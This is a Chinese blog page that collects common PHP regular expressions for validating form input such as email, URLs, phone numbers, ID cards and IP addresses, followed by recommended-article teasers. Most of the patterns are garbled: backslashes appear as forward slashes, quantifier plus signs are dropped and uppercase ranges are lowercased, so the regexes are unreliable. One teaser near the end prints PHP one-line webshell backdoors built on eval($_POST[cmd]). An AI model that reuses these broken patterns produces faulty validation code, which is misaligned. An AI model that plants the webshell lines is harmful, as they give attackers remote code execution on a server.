动态网页制作php常用的正则表达式

掌握PHP正则表达式,打造动态Web页面 本文深入探讨了PHP中的正则表达式基础,通过实例展示了如何使用正则表达式来提取HTML中的特定内容,进行前后向预查,以及如何在字符串中进行模式匹配和替换。内容包括了对正则表达式语法的详细解释,配合代码示例和执行结果,旨在帮助读者更好地理解和应用PHP中的正则表达式功能。 阅读详情

正则表达式用于字符串处理、表单验证等场合,实用高效。本文收集了一些常用的表达式:

匹配中文字符的正则表达式: [/u4e00-/u9fa5]

评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^/x00-/xff]

评注:可以用来计算字符串的长度(一个双字节字符长度计2,ascii字符计1)

匹配空白行的正则表达式:/n/s*/r

评注:可以用来删除空白行

匹配html标记的正则表达式:<(/s*?)[^>]*>.*?<//1>|<.*? />

评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^/s*|/s*$

评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配email地址的正则表达式:/w ([- .]/w )*@/w ([-.]/w )*/./w ([-.]/w )*

评注:表单验证时很实用

匹配网址url的正则表达式:[a-za-z] ://[^/s]*

评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,答应5-16字节,答应字母数字下划线):^[a-za-z][a-za-z0-9_]{4,15}$

评注:表单验证时很实用

匹配国内电话号码:/d{3}-/d{8}|/d{4}-/d{7}

评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯qq号:[1-9][0-9]{4,}

评注:腾讯qq号从10000开始

匹配中国邮政编码:[1-9]/d{5}(?!/d)

评注:中国邮政编码为6位数字

匹配身份证:/d{15}|/d{18}

评注:中国的身份证为15位或18位

匹配ip地址:/d /./d /./d /./d

评注:提取ip地址时有用

匹配特定数字:

^[1-9]/d*$    //匹配正整数

^-[1-9]/d*$   //匹配负整数

^-?[1-9]/d*$   //匹配整数

^[1-9]/d*|0$  //匹配非负整数(正整数 0)

^-[1-9]/d*|0$   //匹配非正整数(负整数 0)

^[1-9]/d*/./d*|0/./d*[1-9]/d*$   //匹配正浮点数

^-([1-9]/d*/./d*|0/./d*[1-9]/d*)$  //匹配负浮点数

^-?([1-9]/d*/./d*|0/./d*[1-9]/d*|0?/.0 |0)$  //匹配浮点数

^[1-9]/d*/./d*|0/./d*[1-9]/d*|0?/.0 |0$   //匹配非负浮点数(正浮点数 0)

^(-([1-9]/d*/./d*|0/./d*[1-9]/d*))|0?/.0 |0$  //匹配非正浮点数(负浮点数 0)

评注:处理大量数据时有用,具体应用时注重修正

匹配特定字符串:

^[a-za-z] $  //匹配由26个英文字母组成的字符串

^[a-z] $  //匹配由26个英文字母的大写组成的字符串

^[a-z] $  //匹配由26个英文字母的小写组成的字符串

^[a-za-z0-9] $  //匹配由数字和26个英文字母组成的字符串

^/w $  //匹配由数字、26个英文字母或者下划线组成的字符串

掌握PHP正则表达式,动态Web开发必备 本文深入探讨了PHP中的正则表达式,从基础到高级用法,涵盖了转义字符、元字符、锚点、量词、贪婪匹配、分组与反向引用等关键概念,并通过实例演示了它们在动态网页开发中的应用。 阅读详情

相关推荐

正则表达式

在页面上对很多地方都会用到正则表达式,比如姓名全部用中文或全用英文,不让写其他字符等,这个文件会让你轻松查到你想的正则表达式。

python爬虫进阶--动态网页和正则表达式

python爬虫进阶–动态网页和正则表达式 介绍 上一篇使用最简单的方法爬取了唱吧一些歌曲,本篇介绍如何爬取更多歌曲,主要是以下两个问题。 如何爬取动态加载的网页数据? 如何解析出网页内嵌的script代码中的数据? 分析一: 打开我的唱吧主页,下拉,点击加载更多 点击加载更多发现url并没有发生变化,但网页确实请求到了更多数据 查了资料发现这是一种名叫ajax的技术,以下是百度百科的解释 新的请求在网页审查元素的XHR中可以看到:进入(chrome) F12 -> network -&g

weixin_44868474的博客 676

SAP CO-PA获利分析避坑指南:从数据采集到报表设计的5个关键步骤

本文深入解析了SAP CO-PA获利分析模块从数据采集到报表设计的完整流程。文章重点剖析了数据源头、特征派生、获利段设计等关键步骤,并对比了基于账户与基于成本核算两种模式的差异,特别强调了在S/4HANA时代的选择与常见陷阱,旨在帮助企业构建可靠、可执行的盈利分析体系。

flink9streamer的博客 827

动态网页制作PHP常用的正则表达式

核心提示:动态网页制作PHP常用的正则表达式,匹配中文字符的正则表达式   匹配中文字符的正则表达式: [u4e00-u9fa5]   匹配双字节字符(包括汉字在内): [^x00-xff]   应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)   匹配空行的正则表达式: [s| ]*   匹配HTML标记的正则表达式: /<(.*)>.*</>|<(.*) />/   匹配首尾空格的正则表达式: (^s*)|(s*$)   应用:j

284

从稳压管到LDO芯片:一张图看懂线性电源的‘内卷’进化史

本文追溯了从稳压管到LDO芯片的线性电源技术进化历程,详细解析了各阶段的技术突破与局限。重点探讨了现代LDO在超低功耗、高精度控制等方面的创新,并提供了实战选型的黄金法则,帮助工程师在电子设备小型化与低功耗化趋势中做出最优选择。

weixin_42525551的博客 207

3DGS 2025实战指南:从安装到训练全流程解析

本文提供了3D Gaussian Splatting (3DGS) 从零开始的完整实战指南。详细解析了使用gsplat库进行环境配置、依赖安装(包括pycolmap和fused-ssim)、数据准备与COLMAP处理、核心训练流程及参数调优,并探讨了2025年3DGS在动态场景、可控编辑等领域的最新进展,帮助开发者快速掌握这一前沿3D重建技术。

b3n4m5q6w7的博客 359

php 动态正则,动态网页制作PHP常用的正则表达式

匹配中文字符的正则表达式:[\u4e00-\u9fa5]匹配双字节字符(包括汉字在内):[^\x00-\xff]应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;}匹配空行的正则表达式:\n[\s| ]*\r匹配HTML标...

weixin_33550394的博客 241

STM32的bootloader程序(通过串口更新STM32应用程序)

STM32的bootloader程序(通过串口更新STM32应用程序),对bootloader进行浅浅的学习

星羽空间 1万+

php安全开发正则表达式,动态网页制作PHP常用的正则表达式

匹配中文字符的正则表达式:[\u4e00-\u9fa5]匹配双字节字符(包括汉字在内):[^\x00-\xff]应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;}匹配空行的正则表达式:\n[\s| ]*\r匹配HTML标...

weixin_29007243的博客 128

Linux下Catapro酶动力学预测工具保姆级安装指南(PyTorch+CUDA11.8适配版)

本文提供了Linux系统下Catapro酶动力学预测工具的详细安装指南,特别适配PyTorch+CUDA11.8环境。从环境准备、源码获取到虚拟环境创建、依赖包安装和模型配置,逐步指导用户完成安装流程,并包含常见问题排查和性能优化建议,帮助研究者快速部署这一高效酶动力学参数预测工具。

weixin_29278805的博客 213

mysql笔记:23. 在Mac上安装与卸载MySQL

MySQL对Mac电脑的适配十分强大,再加上Mac本身就是Unix操作系统演化而来的,所以在Mac上安装MySQL的方式有多种。常见的方法有如下三种:DMG、brew、TAR。介绍这些方法前,我们先了解下MySQL安装文件的下载。

斌斌(Java) 2251

动态网页制作PHP常用的正则表达式.

正则表达式用于字符串处理、表单验证等场合,实用高效。本文收集了一些常用的表达式: 匹配中文字符的正则表达式: [\u4e00-\u9fa5] 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了 ...

cjqbk811121的博客 106

AE(自动曝光)调试策略:曝光曲线设计与过曝控制

自动曝光(AE, Auto Exposure)系统是图像质量控制链路中的核心模块之一,其性能直接决定了成像亮度是否稳定、细节是否完整、场景切换是否自然。在现代移动终端影像系统中,AE 不仅需要适应不同光照强度和复杂环境,还需兼顾人脸优先、HDR触发、视频帧率控制等多目标优化需求。本文基于高通 Snapdragon 和 MTK Dimensity 等主流平台的调试经验,系统梳理了 AE 模型设计原则、曝光曲线配置、测光策略选择与过曝抑制机制,并结合典型实战案例,提供可复制的工程落地路径。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 3097

动态网页制作PHP常用的正则表达式2013

[导读]匹配中文字符的正则表达式: [\u4e00-\u9fa5]   匹配双字节字符(包括汉字在内): [^\x00-\xff]   应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)   匹配空行的正则表达式: \n[\s| ]*\r   匹配HTML标记的正则表达式: /.*|/   匹配首尾空格的正则表达式: (^\s*)|(\s*$)    匹配中

u012140950的专栏 592

【WebRTC】【Unity】Unity Web RTC1-Unity中简单实现远程画面

平台:基本常用平台包括安卓,苹果(max和IOS),Windows64,Linux都行。10. 注意,如果从移动设备浏览器连接服务,信令服务器的SSL证书一定要先设好。想要在Unity中实现实时远程桌面,找到了Render Streaming这个手段,本篇介绍相应的使用方法和实例。8. 打开电脑浏览器,地址栏输入http://127.0.0.1,点击Receiver Sample。新建Unity项目,模板选Third Person,Project Name随意。启动App,控制台出现如下信息表示成功。

每日出拳老爷子的博客 2518

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

php用正则_PHP常用的正则表达式

PHP常用的正则表达式PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。下面就来和小编一起看看PHP一些常用的正则表达式吧。匹配中文字符的正则表达式: [u4e00-u9fa5]匹配双字节字符(包括汉字在内): [^x00-xff]应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)String.prototype....

weixin_39789327的博客 133

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

PHP 正则表达式常用函数

<br />1.preg_match() <br />函数原型:int preg_match (string $pattern, string $content [, array $matches]) <br />preg_match ()函数在$content字符串中搜索与$pattern给出的正则表达式相匹配的内容。如果提供了$matches,则将匹配结果放入其 中。$matches[0]将包含与整个模式匹配的文本,$matches[1]将包含第一个捕获的与括号中的模式单元所匹配的内容,以此类推。该函数

刘阳龙Herman的专栏 1万+

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

常用的php一句话木马格式

测试语句 <?php phpinfo();?> 最初语句 <?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?> 前端的传输方式: GET 数据从url提交 POST 数据采用隐蔽方式提交 REQUEST 即支持GET方式、又支持POST方式 后端执行函数: eval() assert() pr...

孤的博客 2万+

php正则表达式怎样写,三分钟学会PHP正则表达式

PHP是编写动态WEB页面开发常用的脚本语言,而正则表达式是PHP中很重要的一个部分,下面我们就PHP正则表达式和大家详细的谈谈吧。在ASP和ColdFusion,用户可以混合使用PHP和HTML编写WEB页面,当访问者浏览到该页面时,服务端会首先对页面中的PHP命令进行处理,然后把处理后的结果连同HTML内容一起传送到访问端的浏览器。但是与ASP或 ColdFusion不同,PHP是一种源代码开...

weixin_36212959的博客 380
上一篇: 正则绣传人“千女绣金秋”活动上作示范
下一篇: java程序员:一刻钟精通正则表达式
Labber
博客等级 码龄19年 26粉丝 1976原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值